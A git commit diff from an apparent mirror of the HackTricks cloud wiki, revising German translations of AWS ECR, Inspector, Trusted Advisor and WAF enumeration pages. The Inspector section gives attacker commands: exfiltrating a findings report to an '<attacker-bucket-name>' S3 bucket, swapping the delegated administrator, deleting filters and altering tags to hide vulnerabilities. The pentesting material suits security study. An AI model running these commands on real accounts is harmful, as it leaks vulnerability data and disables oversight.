mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 22:50:43 -08:00
Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle
This commit is contained in:
Translator
@@ -1,12 +1,10 @@
|
||||
# AWS - ECR Enum
|
||||
|
||||
## AWS - ECR Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### ECR
|
||||
## ECR
|
||||
|
||||
#### Grundinformationen
|
||||
### Grundlegende Informationen
|
||||
|
||||
Amazon **Elastic Container Registry** (Amazon ECR) ist ein **verwalteter Container-Image-Registry-Dienst**. Er wurde entwickelt, um eine Umgebung bereitzustellen, in der Kunden mit ihren Container-Images über bekannte Schnittstellen interagieren können. Insbesondere wird die Verwendung der Docker CLI oder eines bevorzugten Clients unterstützt, was Aktivitäten wie das Pushen, Pullen und Verwalten von Container-Images ermöglicht.
|
||||
|
||||
@@ -21,17 +19,17 @@ Jedes AWS-Konto hat 2 Registries: **Privat** & **Öffentlich**.
|
||||
- **Standardmäßig privat**: Die in einer Amazon ECR privaten Registry gespeicherten Container-Images sind **nur für autorisierte Benutzer** innerhalb Ihres AWS-Kontos oder für diejenigen zugänglich, denen Berechtigungen erteilt wurden.
|
||||
- Die URI eines **privaten Repositories** folgt dem Format `<account_id>.dkr.ecr.<region>.amazonaws.com/<repo-name>`
|
||||
- **Zugriffskontrolle**: Sie können den **Zugriff** auf Ihre privaten Container-Images mithilfe von **IAM-Richtlinien** steuern, und Sie können feingranulare Berechtigungen basierend auf Benutzern oder Rollen konfigurieren.
|
||||
- **Integration mit AWS-Diensten**: Amazon ECR private Registries können leicht mit anderen AWS-Diensten wie EKS, ECS... **integriert werden**.
|
||||
- **Integration mit AWS-Diensten**: Amazon ECR private Registries können leicht **in andere AWS-Dienste** integriert werden, wie EKS, ECS...
|
||||
- **Weitere Optionen für private Registries**:
|
||||
- Die Spalte zur Tag-Unveränderlichkeit listet ihren Status auf; wenn die Tag-Unveränderlichkeit aktiviert ist, wird sie **verhindern**, dass Images mit **bereits vorhandenen Tags** überschrieben werden.
|
||||
- Die Spalte für den **Verschlüsselungstyp** listet die Verschlüsselungseigenschaften des Repositories auf; sie zeigt die Standardverschlüsselungstypen wie AES-256 oder hat **KMS** aktivierte Verschlüsselungen.
|
||||
- Die Spalte für den **Pull-through-Cache** listet ihren Status auf; wenn der Pull-through-Cache-Status aktiv ist, werden **Repositories in einem externen öffentlichen Repository in Ihr privates Repository** zwischengespeichert.
|
||||
- Die Spalte **Verschlüsselungstyp** listet die Verschlüsselungseigenschaften des Repositories auf, sie zeigt die Standardverschlüsselungstypen wie AES-256 oder hat **KMS** aktivierte Verschlüsselungen.
|
||||
- Die Spalte **Pull through cache** listet ihren Status auf; wenn der Pull through cache-Status aktiv ist, werden **Repositories in einem externen öffentlichen Repository in Ihr privates Repository** zwischengespeichert.
|
||||
- Spezifische **IAM-Richtlinien** können konfiguriert werden, um unterschiedliche **Berechtigungen** zu gewähren.
|
||||
- Die **Scan-Konfiguration** ermöglicht das Scannen nach Schwachstellen in den im Repository gespeicherten Images.
|
||||
|
||||
2. **Öffentliche Registries**:
|
||||
|
||||
- **Öffentliche Zugänglichkeit**: Container-Images, die in einer ECR-Öffentlichen Registry gespeichert sind, sind **für jeden im Internet ohne Authentifizierung zugänglich.**
|
||||
- **Öffentliche Zugänglichkeit**: Container-Images, die in einer ECR Public Registry gespeichert sind, sind **für jeden im Internet ohne Authentifizierung zugänglich.**
|
||||
- Die URI eines **öffentlichen Repositories** ist wie `public.ecr.aws/<random>/<name>`. Obwohl der `<random>`-Teil vom Administrator in eine andere, leichter zu merkende Zeichenfolge geändert werden kann.
|
||||
|
||||
**Repositories**
|
||||
@@ -39,7 +37,7 @@ Jedes AWS-Konto hat 2 Registries: **Privat** & **Öffentlich**.
|
||||
Dies sind die **Images**, die in der **privaten Registry** oder in der **öffentlichen** gespeichert sind.
|
||||
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass das **ECR-Repository denselben Namen wie das Image haben muss**, um ein Image in ein Repository hochzuladen.
|
||||
> Beachten Sie, dass der **ECR-Repository denselben Namen wie das Image haben muss**, um ein Image in ein Repository hochzuladen.
|
||||
|
||||
#### Registry- & Repository-Richtlinien
|
||||
|
||||
@@ -47,7 +45,7 @@ Dies sind die **Images**, die in der **privaten Registry** oder in der **öffent
|
||||
|
||||
<figure><img src="../../../images/image (280).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Enumeration
|
||||
### Enumeration
|
||||
```bash
|
||||
# Get repos
|
||||
aws ecr describe-repositories
|
||||
@@ -67,13 +65,13 @@ aws ecr-public describe-repositories
|
||||
aws ecr get-registry-policy
|
||||
aws ecr get-repository-policy --repository-name <repo_name>
|
||||
```
|
||||
#### Unauthenticated Enum
|
||||
### Unauthenticated Enum
|
||||
|
||||
{{#ref}}
|
||||
../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
#### Privesc
|
||||
### Privesc
|
||||
|
||||
Auf der folgenden Seite können Sie überprüfen, wie man **ECR-Berechtigungen missbraucht, um Privilegien zu eskalieren**:
|
||||
|
||||
@@ -81,13 +79,13 @@ Auf der folgenden Seite können Sie überprüfen, wie man **ECR-Berechtigungen m
|
||||
../aws-privilege-escalation/aws-ecr-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
#### Post Exploitation
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-ecr-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
#### Persistence
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-ecr-persistence.md
|
||||
|
||||
@@ -1 +1,3 @@
|
||||
# AWS - Sicherheits- und Erkennungsdienste
|
||||
# AWS - Sicherheits- & Erkennungsdienste
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,8 @@
|
||||
# AWS - Inspector Enum
|
||||
|
||||
## AWS - Inspector Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Inspector
|
||||
## Inspector
|
||||
|
||||
Amazon Inspector ist ein fortschrittlicher, automatisierter Dienst zur Verwaltung von Schwachstellen, der darauf ausgelegt ist, die Sicherheit Ihrer AWS-Umgebung zu verbessern. Dieser Dienst scannt kontinuierlich Amazon EC2-Instanzen, Container-Images in Amazon ECR, Amazon ECS und AWS Lambda-Funktionen auf Schwachstellen und unbeabsichtigte Netzwerkaussetzungen. Durch die Nutzung einer robusten Datenbank für Schwachstelleninformationen bietet Amazon Inspector detaillierte Ergebnisse, einschließlich Schweregraden und Empfehlungen zur Behebung, die Organisationen helfen, Sicherheitsrisiken proaktiv zu identifizieren und zu beheben. Dieser umfassende Ansatz gewährleistet eine verstärkte Sicherheitslage über verschiedene AWS-Dienste hinweg und unterstützt die Einhaltung von Vorschriften und das Risikomanagement.
|
||||
|
||||
@@ -14,23 +12,23 @@ Amazon Inspector ist ein fortschrittlicher, automatisierter Dienst zur Verwaltun
|
||||
|
||||
Findings in Amazon Inspector sind detaillierte Berichte über Schwachstellen und Aussetzungen, die während des Scans von EC2-Instanzen, ECR-Repositorys oder Lambda-Funktionen entdeckt wurden. Basierend auf ihrem Status werden Findings kategorisiert als:
|
||||
|
||||
- **Aktiv**: Das Finding wurde nicht behoben.
|
||||
- **Geschlossen**: Das Finding wurde behoben.
|
||||
- **Unterdrückt**: Das Finding wurde aufgrund von einem oder mehreren **Unterdrückungsregeln** mit diesem Status markiert.
|
||||
- **Active**: Das Finding wurde nicht behoben.
|
||||
- **Closed**: Das Finding wurde behoben.
|
||||
- **Suppressed**: Das Finding wurde aufgrund von einem oder mehreren **Suppression Rules** mit diesem Status markiert.
|
||||
|
||||
Findings werden auch in die folgenden drei Typen kategorisiert:
|
||||
|
||||
- **Paket**: Diese Findings beziehen sich auf Schwachstellen in Softwarepaketen, die auf Ihren Ressourcen installiert sind. Beispiele sind veraltete Bibliotheken oder Abhängigkeiten mit bekannten Sicherheitsproblemen.
|
||||
- **Package**: Diese Findings beziehen sich auf Schwachstellen in Softwarepaketen, die auf Ihren Ressourcen installiert sind. Beispiele sind veraltete Bibliotheken oder Abhängigkeiten mit bekannten Sicherheitsproblemen.
|
||||
- **Code**: Diese Kategorie umfasst Schwachstellen, die im Code von Anwendungen gefunden werden, die auf Ihren AWS-Ressourcen ausgeführt werden. Häufige Probleme sind Programmierfehler oder unsichere Praktiken, die zu Sicherheitsverletzungen führen könnten.
|
||||
- **Netzwerk**: Netzwerk-Findings identifizieren potenzielle Aussetzungen in Netzwerkkonfigurationen, die von Angreifern ausgenutzt werden könnten. Dazu gehören offene Ports, unsichere Netzwerkprotokolle und falsch konfigurierte Sicherheitsgruppen.
|
||||
- **Network**: Netzwerk-Findings identifizieren potenzielle Aussetzungen in Netzwerkkonfigurationen, die von Angreifern ausgenutzt werden könnten. Dazu gehören offene Ports, unsichere Netzwerkprotokolle und falsch konfigurierte Sicherheitsgruppen.
|
||||
|
||||
#### Filters and Suppression Rules
|
||||
|
||||
Filter und Unterdrückungsregeln in Amazon Inspector helfen, Findings zu verwalten und zu priorisieren. Filter ermöglichen es Ihnen, Findings basierend auf bestimmten Kriterien wie Schweregrad oder Ressourcentyp zu verfeinern. Unterdrückungsregeln ermöglichen es Ihnen, bestimmte Findings zu unterdrücken, die als geringes Risiko gelten, bereits gemindert wurden oder aus anderen wichtigen Gründen, um zu verhindern, dass sie Ihre Sicherheitsberichte überladen und Ihnen zu ermöglichen, sich auf kritischere Probleme zu konzentrieren.
|
||||
Filter und Suppression Rules in Amazon Inspector helfen dabei, Findings zu verwalten und zu priorisieren. Filter ermöglichen es Ihnen, Findings basierend auf bestimmten Kriterien wie Schweregrad oder Ressourcentyp zu verfeinern. Suppression Rules ermöglichen es Ihnen, bestimmte Findings, die als geringes Risiko gelten, bereits gemindert wurden oder aus anderen wichtigen Gründen, zu unterdrücken, um zu verhindern, dass sie Ihre Sicherheitsberichte überladen und Ihnen zu ermöglichen, sich auf kritischere Probleme zu konzentrieren.
|
||||
|
||||
#### Software Bill of Materials (SBOM)
|
||||
|
||||
Eine Software Bill of Materials (SBOM) in Amazon Inspector ist eine exportierbare verschachtelte Inventarliste, die alle Komponenten innerhalb eines Softwarepakets, einschließlich Bibliotheken und Abhängigkeiten, detailliert. SBOMs helfen, Transparenz in die Software-Lieferkette zu bringen, was ein besseres Schwachstellenmanagement und Compliance ermöglicht. Sie sind entscheidend für die Identifizierung und Minderung von Risiken, die mit Open-Source- und Drittanbieter-Softwarekomponenten verbunden sind.
|
||||
Eine Software Bill of Materials (SBOM) in Amazon Inspector ist eine exportierbare, verschachtelte Inventarliste, die alle Komponenten innerhalb eines Softwarepakets, einschließlich Bibliotheken und Abhängigkeiten, detailliert. SBOMs helfen, Transparenz in die Software-Lieferkette zu bringen, was ein besseres Schwachstellenmanagement und Compliance ermöglicht. Sie sind entscheidend für die Identifizierung und Minderung von Risiken, die mit Open-Source- und Drittanbieter-Softwarekomponenten verbunden sind.
|
||||
|
||||
### Key features
|
||||
|
||||
@@ -38,19 +36,19 @@ Eine Software Bill of Materials (SBOM) in Amazon Inspector ist eine exportierbar
|
||||
|
||||
Amazon Inspector bietet die Möglichkeit, Findings in Amazon S3 Buckets, Amazon EventBridge und AWS Security Hub zu exportieren, was es Ihnen ermöglicht, detaillierte Berichte über identifizierte Schwachstellen und Aussetzungen für eine weitere Analyse oder zum Teilen zu einem bestimmten Datum und Uhrzeit zu erstellen. Diese Funktion unterstützt verschiedene Ausgabeformate wie CSV und JSON, was die Integration mit anderen Tools und Systemen erleichtert. Die Exportfunktionalität ermöglicht die Anpassung der in den Berichten enthaltenen Daten, sodass Sie Findings basierend auf bestimmten Kriterien wie Schweregrad, Ressourcentyp oder Datumsbereich filtern und standardmäßig alle Ihre Findings im aktuellen AWS-Region mit einem aktiven Status einbeziehen können.
|
||||
|
||||
Beim Exportieren von Findings ist ein Key Management Service (KMS)-Schlüssel erforderlich, um die Daten während des Exports zu verschlüsseln. KMS-Schlüssel stellen sicher, dass die exportierten Findings vor unbefugtem Zugriff geschützt sind und bieten eine zusätzliche Sicherheitsebene für sensible Schwachstelleninformationen.
|
||||
Beim Exportieren von Findings ist ein Key Management Service (KMS) Schlüssel erforderlich, um die Daten während des Exports zu verschlüsseln. KMS-Schlüssel stellen sicher, dass die exportierten Findings vor unbefugtem Zugriff geschützt sind und bieten eine zusätzliche Sicherheitsebene für sensible Schwachstelleninformationen.
|
||||
|
||||
#### Amazon EC2 instances scanning
|
||||
|
||||
Amazon Inspector bietet robuste Scanfunktionen für Amazon EC2-Instanzen, um Schwachstellen und Sicherheitsprobleme zu erkennen. Inspector verglich extrahierte Metadaten von der EC2-Instanz mit Regeln aus Sicherheitsberatungen, um Paket-Schwachstellen und Netzwerk-Erreichbarkeitsprobleme zu erzeugen. Diese Scans können durch **agentenbasierte** oder **agentenlose** Methoden durchgeführt werden, abhängig von der Konfiguration der **Scanmodus**-Einstellungen Ihres Kontos.
|
||||
Amazon Inspector bietet robuste Scanfunktionen für Amazon EC2-Instanzen, um Schwachstellen und Sicherheitsprobleme zu erkennen. Inspector verglich extrahierte Metadaten von der EC2-Instanz mit Regeln aus Sicherheitsberatungen, um Paket-Schwachstellen und Netzwerk-Erreichbarkeitsprobleme zu erzeugen. Diese Scans können durch **agentenbasierte** oder **agentenlose** Methoden durchgeführt werden, abhängig von der Konfiguration der **Scan-Modus**-Einstellungen Ihres Kontos.
|
||||
|
||||
- **Agentenbasiert**: Nutzt den AWS Systems Manager (SSM)-Agenten, um umfassende Scans durchzuführen. Diese Methode ermöglicht eine umfassende Datensammlung und -analyse direkt von der Instanz.
|
||||
- **Agentenlos**: Bietet eine leichte Alternative, die keine Installation eines Agenten auf der Instanz erfordert, indem ein EBS-Snapshot jedes Volumes der EC2-Instanz erstellt, nach Schwachstellen sucht und ihn dann löscht; nutzt die vorhandene AWS-Infrastruktur für Scans.
|
||||
- **Agent-Based**: Nutzt den AWS Systems Manager (SSM) Agenten, um umfassende Scans durchzuführen. Diese Methode ermöglicht eine umfassende Datensammlung und -analyse direkt von der Instanz.
|
||||
- **Agentless**: Bietet eine leichte Alternative, die keine Installation eines Agenten auf der Instanz erfordert, indem ein EBS-Snapshot jedes Volumes der EC2-Instanz erstellt, nach Schwachstellen sucht und ihn dann löscht; nutzt die vorhandene AWS-Infrastruktur für Scans.
|
||||
|
||||
Der Scanmodus bestimmt, welche Methode verwendet wird, um EC2-Scans durchzuführen:
|
||||
Der Scan-Modus bestimmt, welche Methode verwendet wird, um EC2-Scans durchzuführen:
|
||||
|
||||
- **Agentenbasiert**: Beinhaltet die Installation des SSM-Agenten auf EC2-Instanzen für eine tiefgehende Inspektion.
|
||||
- **Hybrides Scannen**: Kombiniert sowohl agentenbasierte als auch agentenlose Methoden, um die Abdeckung zu maximieren und die Leistungseinbußen zu minimieren. In den EC2-Instanzen, auf denen der SSM-Agent installiert ist, führt Inspector einen agentenbasierten Scan durch, und für diejenigen, auf denen kein SSM-Agent vorhanden ist, wird der durchgeführte Scan agentenlos sein.
|
||||
- **Agent-Based**: Beinhaltet die Installation des SSM-Agenten auf EC2-Instanzen für eine tiefgehende Inspektion.
|
||||
- **Hybrid Scanning**: Kombiniert sowohl agentenbasierte als auch agentenlose Methoden, um die Abdeckung zu maximieren und die Auswirkungen auf die Leistung zu minimieren. In den EC2-Instanzen, in denen der SSM-Agent installiert ist, führt Inspector einen agentenbasierten Scan durch, und für diejenigen, in denen kein SSM-Agent vorhanden ist, wird der durchgeführte Scan agentenlos sein.
|
||||
|
||||
Ein weiteres wichtiges Merkmal ist die **tiefgehende Inspektion** für EC2-Linux-Instanzen. Diese Funktion bietet eine gründliche Analyse der Software und Konfiguration von EC2-Linux-Instanzen und liefert detaillierte Schwachstellenbewertungen, einschließlich Schwachstellen im Betriebssystem, Anwendungsschwachstellen und Fehlkonfigurationen, um eine umfassende Sicherheitsbewertung sicherzustellen. Dies wird durch die Inspektion von **benutzerdefinierten Pfaden** und allen seinen Unterverzeichnissen erreicht. Standardmäßig scannt Amazon Inspector Folgendes, aber jedes Mitgliedskonto kann bis zu 5 weitere benutzerdefinierte Pfade definieren, und jeder delegierte Administrator bis zu 10:
|
||||
|
||||
@@ -61,25 +59,25 @@ Ein weiteres wichtiges Merkmal ist die **tiefgehende Inspektion** für EC2-Linux
|
||||
|
||||
#### Amazon ECR container images scanning
|
||||
|
||||
Amazon Inspector bietet robuste Scanfunktionen für Amazon Elastic Container Registry (ECR)-Container-Images, um sicherzustellen, dass Paket-Schwachstellen effizient erkannt und verwaltet werden.
|
||||
Amazon Inspector bietet robuste Scanfunktionen für Amazon Elastic Container Registry (ECR) Container-Images, um sicherzustellen, dass Paket-Schwachstellen effizient erkannt und verwaltet werden.
|
||||
|
||||
- **Basis-Scanning**: Dies ist ein schneller und leichter Scan, der bekannte OS-Paket-Schwachstellen in Container-Images mithilfe eines standardisierten Regelwerks aus dem Open-Source-Projekt Clair identifiziert. Mit dieser Scan-Konfiguration werden Ihre Repositorys beim Push oder durch manuelle Scans gescannt.
|
||||
- **Erweitertes Scannen**: Diese Option fügt die kontinuierliche Scanfunktion zusätzlich zum Push-Scan hinzu. Das erweiterte Scannen geht tiefer in die Schichten jedes Container-Images, um Schwachstellen in OS-Paketen und in Programmiersprachen-Paketen mit höherer Genauigkeit zu identifizieren. Es analysiert sowohl das Basis-Image als auch alle zusätzlichen Schichten und bietet einen umfassenden Überblick über potenzielle Sicherheitsprobleme.
|
||||
- **Basic Scanning**: Dies ist ein schneller und leichter Scan, der bekannte OS-Paket-Schwachstellen in Container-Images mithilfe eines standardisierten Regelwerks aus dem Open-Source-Projekt Clair identifiziert. Mit dieser Scan-Konfiguration werden Ihre Repositorys beim Push oder durch manuelle Scans gescannt.
|
||||
- **Enhanced Scanning**: Diese Option fügt die kontinuierliche Scanfunktionalität zusätzlich zum Push-Scan hinzu. Enhanced Scanning geht tiefer in die Schichten jedes Container-Images, um Schwachstellen in OS-Paketen und in Programmiersprachen-Paketen mit höherer Genauigkeit zu identifizieren. Es analysiert sowohl das Basis-Image als auch alle zusätzlichen Schichten und bietet einen umfassenden Überblick über potenzielle Sicherheitsprobleme.
|
||||
|
||||
#### Amazon Lambda functions scanning
|
||||
|
||||
Amazon Inspector umfasst umfassende Scanfunktionen für AWS Lambda-Funktionen und deren Schichten, um die Sicherheit und Integrität von serverlosen Anwendungen zu gewährleisten. Inspector bietet zwei Arten von Scans für Lambda-Funktionen:
|
||||
|
||||
- **Lambda-Standard-Scanning**: Diese Standardfunktion identifiziert Software-Schwachstellen in den Anwendungs-Paketabhängigkeiten, die zu Ihrer Lambda-Funktion und den Schichten hinzugefügt wurden. Wenn Ihre Funktion beispielsweise eine Version einer Bibliothek wie python-jwt mit einer bekannten Schwachstelle verwendet, wird ein Finding generiert.
|
||||
- **Lambda-Code-Scanning**: Analysiert benutzerdefinierten Anwendungscode auf Sicherheitsprobleme und erkennt Schwachstellen wie Injektionsfehler, Datenlecks, schwache Kryptografie und fehlende Verschlüsselung. Es erfasst Code-Snippets, die erkannte Schwachstellen hervorheben, wie z. B. hardcodierte Anmeldeinformationen. Findings enthalten detaillierte Vorschläge zur Behebung und Code-Snippets zur Behebung der Probleme.
|
||||
- **Lambda standard scanning**: Diese Standardfunktion identifiziert Software-Schwachstellen in den Anwendungs-Paketabhängigkeiten, die zu Ihrer Lambda-Funktion und den Schichten hinzugefügt wurden. Wenn Ihre Funktion beispielsweise eine Version einer Bibliothek wie python-jwt mit einer bekannten Schwachstelle verwendet, wird ein Finding generiert.
|
||||
- **Lambda code scanning**: Analysiert benutzerdefinierten Anwendungscode auf Sicherheitsprobleme und erkennt Schwachstellen wie Injektionsfehler, Datenlecks, schwache Kryptografie und fehlende Verschlüsselung. Es erfasst Code-Snippets, die erkannte Schwachstellen hervorheben, wie z.B. hardcodierte Anmeldeinformationen. Findings enthalten detaillierte Vorschläge zur Behebung und Code-Snippets zur Behebung der Probleme.
|
||||
|
||||
#### **Center for Internet Security (CIS) scans**
|
||||
|
||||
Amazon Inspector umfasst CIS-Scans, um die Betriebssysteme von Amazon EC2-Instanzen mit den Best-Practice-Empfehlungen des Center for Internet Security (CIS) zu benchmarken. Diese Scans stellen sicher, dass die Konfigurationen den branchenüblichen Sicherheitsgrundlagen entsprechen.
|
||||
Amazon Inspector umfasst CIS-Scans, um die Betriebssysteme von Amazon EC2-Instanzen mit den Best-Practice-Empfehlungen des Center for Internet Security (CIS) zu benchmarken. Diese Scans stellen sicher, dass die Konfigurationen den branchenüblichen Sicherheitsstandards entsprechen.
|
||||
|
||||
- **Konfiguration**: CIS-Scans bewerten, ob die Systemkonfigurationen bestimmten CIS-Benchmark-Empfehlungen entsprechen, wobei jeder Check mit einer CIS-Check-ID und einem Titel verknüpft ist.
|
||||
- **Ausführung**: Scans werden basierend auf Instanz-Tags und definierten Zeitplänen durchgeführt oder geplant.
|
||||
- **Ergebnisse**: Die Ergebnisse nach dem Scan zeigen an, welche Checks bestanden, übersprungen oder fehlgeschlagen sind und bieten Einblicke in die Sicherheitslage jeder Instanz.
|
||||
- **Configuration**: CIS-Scans bewerten, ob die Systemkonfigurationen bestimmten CIS-Benchmark-Empfehlungen entsprechen, wobei jeder Check mit einer CIS-Check-ID und einem Titel verknüpft ist.
|
||||
- **Execution**: Scans werden basierend auf Instanz-Tags und definierten Zeitplänen durchgeführt oder geplant.
|
||||
- **Results**: Die Ergebnisse nach dem Scan zeigen an, welche Checks bestanden, übersprungen oder fehlgeschlagen sind und bieten Einblicke in die Sicherheitslage jeder Instanz.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -191,7 +189,7 @@ aws inspector list-rules-packages
|
||||
|
||||
#### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport`
|
||||
|
||||
Ein Angreifer könnte detaillierte Berichte über Schwachstellen oder Software-Bill of Materials (SBOMs) erstellen und sie aus Ihrer AWS-Umgebung exfiltrieren. Diese Informationen könnten ausgenutzt werden, um spezifische Schwächen, veraltete Software oder unsichere Abhängigkeiten zu identifizieren, was gezielte Angriffe ermöglicht.
|
||||
Ein Angreifer könnte detaillierte Berichte über Schwachstellen oder Software-Bill of Materials (SBOMs) erstellen und diese aus Ihrer AWS-Umgebung exfiltrieren. Diese Informationen könnten ausgenutzt werden, um spezifische Schwächen, veraltete Software oder unsichere Abhängigkeiten zu identifizieren, was gezielte Angriffe ermöglicht.
|
||||
```bash
|
||||
# Findings report
|
||||
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
|
||||
@@ -257,7 +255,7 @@ Das folgende Beispiel zeigt, wie man alle aktiven Befunde von Amazon Inspector i
|
||||
]
|
||||
}
|
||||
```
|
||||
3. Führen Sie den Befehl aus, um den **Bericht über die Ergebnisse** zu erstellen und ihn zu exfiltrieren:
|
||||
3. Führen Sie den Befehl aus, um **den Bericht über die Ergebnisse zu erstellen** und ihn zu exfiltrieren:
|
||||
```bash
|
||||
aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
|
||||
```
|
||||
@@ -291,13 +289,13 @@ aws inspector2 delete-filter --arn <value>
|
||||
|
||||
Ein Angreifer könnte die Sicherheitsmanagementstruktur erheblich stören.
|
||||
|
||||
- Durch Deaktivierung des delegierten Administratorkontos könnte der Angreifer das Sicherheitsteam daran hindern, auf die Amazon Inspector-Einstellungen und -Berichte zuzugreifen und diese zu verwalten.
|
||||
- Die Aktivierung eines unbefugten Administratorkontos würde es einem Angreifer ermöglichen, Sicherheitskonfigurationen zu kontrollieren, möglicherweise Scans zu deaktivieren oder Einstellungen zu ändern, um böswillige Aktivitäten zu verbergen.
|
||||
- Durch Deaktivierung des delegierten Administratorkontos könnte der Angreifer das Sicherheitsteam daran hindern, auf die Einstellungen und Berichte von Amazon Inspector zuzugreifen und diese zu verwalten.
|
||||
- Die Aktivierung eines unbefugten Administratorkontos würde es einem Angreifer ermöglichen, Sicherheitskonfigurationen zu steuern, möglicherweise Scans zu deaktivieren oder Einstellungen zu ändern, um böswillige Aktivitäten zu verbergen.
|
||||
|
||||
> [!WARNING]
|
||||
> Es ist erforderlich, dass das unbefugte Konto in derselben Organisation wie das Opfer ist, um der delegierte Administrator zu werden.
|
||||
>
|
||||
> Damit das unbefugte Konto der delegierte Administrator werden kann, ist es auch erforderlich, dass nach der Deaktivierung des legitimen delegierten Administrators und bevor das unbefugte Konto als delegierter Administrator aktiviert wird, der legitime Administrator als delegierter Administrator aus der Organisation abgemeldet wird. Dies kann mit dem folgenden Befehl durchgeführt werden (**`organizations:DeregisterDelegatedAdministrator`** Berechtigung erforderlich): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
|
||||
> Damit das unbefugte Konto der delegierte Administrator werden kann, ist es auch erforderlich, dass das legitime delegierte Administratorkonto deaktiviert wird und bevor das unbefugte Konto als delegierter Administrator aktiviert wird, muss der legitime Administrator als delegierter Administrator aus der Organisation abgemeldet werden. Dies kann mit dem folgenden Befehl durchgeführt werden (**`organizations:DeregisterDelegatedAdministrator`** Berechtigung erforderlich): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
|
||||
```bash
|
||||
# Disable
|
||||
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
|
||||
@@ -352,7 +350,7 @@ Ein Angreifer könnte Tags auf AWS Inspector-Ressourcen manipulieren, die entsch
|
||||
aws inspector2 tag-resource --resource-arn <value> --tags <value>
|
||||
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
- **Potenzielle Auswirkungen**: Verbergen von Schwachstellen, Störung der Compliance-Berichterstattung, Störung der Sicherheitsautomatisierung und Störung der Kostenverteilung.
|
||||
- **Potenzielle Auswirkungen**: Verbergen von Schwachstellen, Störung der Compliance-Berichterstattung, Störung der Sicherheitsautomatisierung und Störung der Kostenallokation.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
||||
@@ -1,12 +1,10 @@
|
||||
# AWS - Trusted Advisor Enum
|
||||
|
||||
## AWS - Trusted Advisor Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AWS Trusted Advisor Übersicht
|
||||
|
||||
Trusted Advisor ist ein Dienst, der **Empfehlungen** zur Optimierung Ihres AWS-Kontos bereitstellt, die mit **AWS Best Practices** übereinstimmen. Es handelt sich um einen Dienst, der über mehrere Regionen hinweg arbeitet. Trusted Advisor bietet Einblicke in vier Hauptkategorien:
|
||||
Trusted Advisor ist ein Dienst, der **Empfehlungen bereitstellt**, um Ihr AWS-Konto zu optimieren und mit **AWS Best Practices** in Einklang zu bringen. Es handelt sich um einen Dienst, der in mehreren Regionen tätig ist. Trusted Advisor bietet Einblicke in vier Hauptkategorien:
|
||||
|
||||
1. **Kostenoptimierung:** Schlägt vor, wie Ressourcen umstrukturiert werden können, um Ausgaben zu reduzieren.
|
||||
2. **Leistung:** Identifiziert potenzielle Leistungsengpässe.
|
||||
@@ -30,7 +28,7 @@ Die umfassenden Funktionen von Trusted Advisor sind ausschließlich mit **AWS Bu
|
||||
3. Fehlertoleranz
|
||||
4. Leistung
|
||||
5. Dienstgrenzen
|
||||
6. S3 Bucket Berechtigungen
|
||||
6. S3-Bucket-Berechtigungen
|
||||
|
||||
#### Kernprüfungen
|
||||
|
||||
|
||||
@@ -1,12 +1,10 @@
|
||||
# AWS - WAF Enum
|
||||
|
||||
## AWS - WAF Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AWS WAF
|
||||
|
||||
AWS WAF ist eine **Webanwendungsfirewall**, die entwickelt wurde, um **Webanwendungen oder APIs** vor verschiedenen Web-Exploits zu schützen, die ihre Verfügbarkeit, Sicherheit oder Ressourcennutzung beeinträchtigen können. Es ermöglicht Benutzern, den eingehenden Datenverkehr zu steuern, indem sie **Sicherheitsregeln** festlegen, die typische Angriffsvektoren wie SQL-Injection oder Cross-Site-Scripting mindern, und indem sie benutzerdefinierte Filterregeln definieren.
|
||||
AWS WAF ist eine **Webanwendungsfirewall**, die entwickelt wurde, um **Webanwendungen oder APIs** vor verschiedenen Web-Exploits zu schützen, die ihre Verfügbarkeit, Sicherheit oder Ressourcennutzung beeinträchtigen können. Sie ermöglicht es Benutzern, den eingehenden Datenverkehr zu steuern, indem sie **Sicherheitsregeln** festlegen, die typische Angriffsvektoren wie SQL-Injection oder Cross-Site-Scripting mindern, und indem sie benutzerdefinierte Filterregeln definieren.
|
||||
|
||||
### Schlüsselkonzepte
|
||||
|
||||
@@ -18,7 +16,7 @@ Eine Web ACL ist eine Sammlung von Regeln, die Sie auf Ihre Webanwendungen oder
|
||||
|
||||
Eine Regelgruppe ist eine wiederverwendbare Sammlung von Regeln, die Sie auf mehrere Web ACLs anwenden können. Regelgruppen helfen, konsistente Regelsets über verschiedene Webanwendungen oder APIs hinweg zu verwalten und aufrechtzuerhalten.
|
||||
|
||||
